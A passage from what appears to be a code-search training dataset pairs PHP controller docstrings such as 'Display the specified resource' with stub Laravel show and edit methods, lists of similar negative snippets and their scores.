"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437"
]
| 0.0 | -1 |
Display the specified resource. | public function show($id)
{
//
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function show(Resource $resource)\n {\n // not available for now\n }",
"public function show(Resource $resource)\n {\n //\n }",
"function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }",
"private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }",
"function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}",
"public function show(ResourceSubject $resourceSubject)\n {\n //\n }",
"public function show(ResourceManagement $resourcesManagement)\n {\n //\n }",
"public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }",
"public function retrieve(Resource $resource);",
"public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }",
"public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function show(Dispenser $dispenser)\n {\n //\n }",
"public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }",
"public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}",
"public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }",
"public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }",
"function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}",
"public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }",
"public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }",
"public function get(Resource $resource);",
"public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }",
"public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }",
"function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}",
"public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }",
"function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}",
"public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }",
"public function edit(Resource $resource)\n {\n //\n }",
"public function show(rc $rc)\n {\n //\n }",
"public function show(Resolucion $resolucion)\n {\n //\n }",
"public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }",
"public function show()\n\t{\n\t\t//\n\t}",
"public function show()\n\t{\n\t\t//\n\t}",
"public function show()\n\t{\n\t\t//\n\t}",
"public function show(Resena $resena)\n {\n }",
"public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }",
"public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }",
"public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}",
"public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }",
"public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }",
"public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }",
"public function display()\n\t{\n\t\tparent::display();\n\t}",
"public function get_resource();",
"public function show()\n\t{\n\t\t\n\t}",
"function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}",
"public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }",
"public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }",
"public function display($title = null)\n {\n echo $this->fetch($title);\n }",
"public function display(){}",
"public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}",
"public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}",
"public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }",
"#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}",
"public function display() {\n echo $this->render();\n }",
"public function show($id)\n\t{\n\t//\n\t}",
"public function show($id)\n\t{\n\t//\n\t}",
"function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }",
"public function show($id)\n {\n //\n $this->_show($id);\n }",
"public function show()\n\t{\n\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {}",
"static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}",
"public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}",
"public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }",
"public abstract function display();",
"abstract public function resource($resource);",
"public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}",
"public function show( $id ) {\n\t\t//\n\t}",
"public function show( $id ) {\n\t\t//\n\t}",
"public function show(Response $response)\n {\n //\n }",
"public function show()\n {\n return auth()->user()->getResource();\n }",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}"
]
| [
"0.8233718",
"0.8190437",
"0.6828712",
"0.64986944",
"0.6495974",
"0.6469629",
"0.6462615",
"0.6363665",
"0.6311607",
"0.62817234",
"0.6218966",
"0.6189695",
"0.61804265",
"0.6171014",
"0.61371076",
"0.61207956",
"0.61067593",
"0.6105954",
"0.6094066",
"0.6082806",
"0.6045245",
"0.60389996",
"0.6016584",
"0.598783",
"0.5961788",
"0.59606946",
"0.5954321",
"0.59295714",
"0.59182066",
"0.5904556",
"0.59036547",
"0.59036547",
"0.59036547",
"0.5891874",
"0.58688277",
"0.5868107",
"0.58676815",
"0.5851883",
"0.58144855",
"0.58124036",
"0.58112013",
"0.5803467",
"0.58012545",
"0.5791527",
"0.57901084",
"0.5781528",
"0.5779676",
"0.5757105",
"0.5756208",
"0.57561266",
"0.57453394",
"0.57435393",
"0.57422745",
"0.5736634",
"0.5736634",
"0.5730559",
"0.57259274",
"0.5724891",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5718969",
"0.5713412",
"0.57091093",
"0.5706405",
"0.57057405",
"0.5704541",
"0.5704152",
"0.57026845",
"0.57026845",
"0.56981397",
"0.5693083",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962"
]
| 0.0 | -1 |
Show the form for editing the specified resource. | public function edit($id)
{
//
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }",
"public function edit(Resource $resource)\n {\n //\n }",
"public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }",
"public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }",
"public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }",
"public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }",
"public function edit()\n {\n return view('hirmvc::edit');\n }",
"public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}",
"public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }",
"public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}",
"public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }",
"public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }",
"private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }",
"public function edit($id)\n {\n return $this->showForm('update', $id);\n }",
"public function edit($id)\n {\n return $this->showForm('update', $id);\n }",
"public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }",
"public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }",
"public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}",
"public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }",
"public function edit($model, $form);",
"function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}",
"public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}",
"public function edit()\n { \n return view('admin.control.edit');\n }",
"public function edit(Form $form)\n {\n //\n }",
"public function edit()\n {\n return view('common::edit');\n }",
"public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }",
"public function edit()\n {\n return view('admin::edit');\n }",
"public function edit()\n {\n return view('admin::edit');\n }",
"public function edit()\r\n {\r\n return view('petro::edit');\r\n }",
"public function edit($id)\n {\n // show form edit user info\n }",
"public function edit()\n {\n return view('escrow::edit');\n }",
"public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }",
"public function edit()\n {\n return view('commonmodule::edit');\n }",
"public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}",
"public function edit()\n {\n return view('catalog::edit');\n }",
"public function edit()\n {\n return view('catalog::edit');\n }",
"public function edit(form $form)\n {\n //\n }",
"public function actionEdit($id) { }",
"public function edit()\n {\n return view('admincp::edit');\n }",
"public function edit()\n {\n return view('scaffold::edit');\n }",
"public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }",
"public function edit()\n {\n return view('Person.edit');\n }",
"public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }",
"public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}",
"public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }",
"public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}",
"public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }",
"public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }",
"public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }",
"function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}",
"public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }",
"public function edit($id)\n {\n return $this->showForm($id);\n }",
"public function edit($id)\n {\n return $this->showForm($id);\n }",
"protected function _edit(){\n\t\treturn $this->_editForm();\n\t}",
"public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }",
"public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }",
"public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}",
"public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}",
"public function edit($id)\n {\n return view('models::edit');\n }",
"public function edit()\n {\n return view('home::edit');\n }",
"public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }",
"public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }",
"public function edit()\n {\n return view('user::edit');\n }",
"public function edit()\n {\n return view('user::edit');\n }",
"public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }",
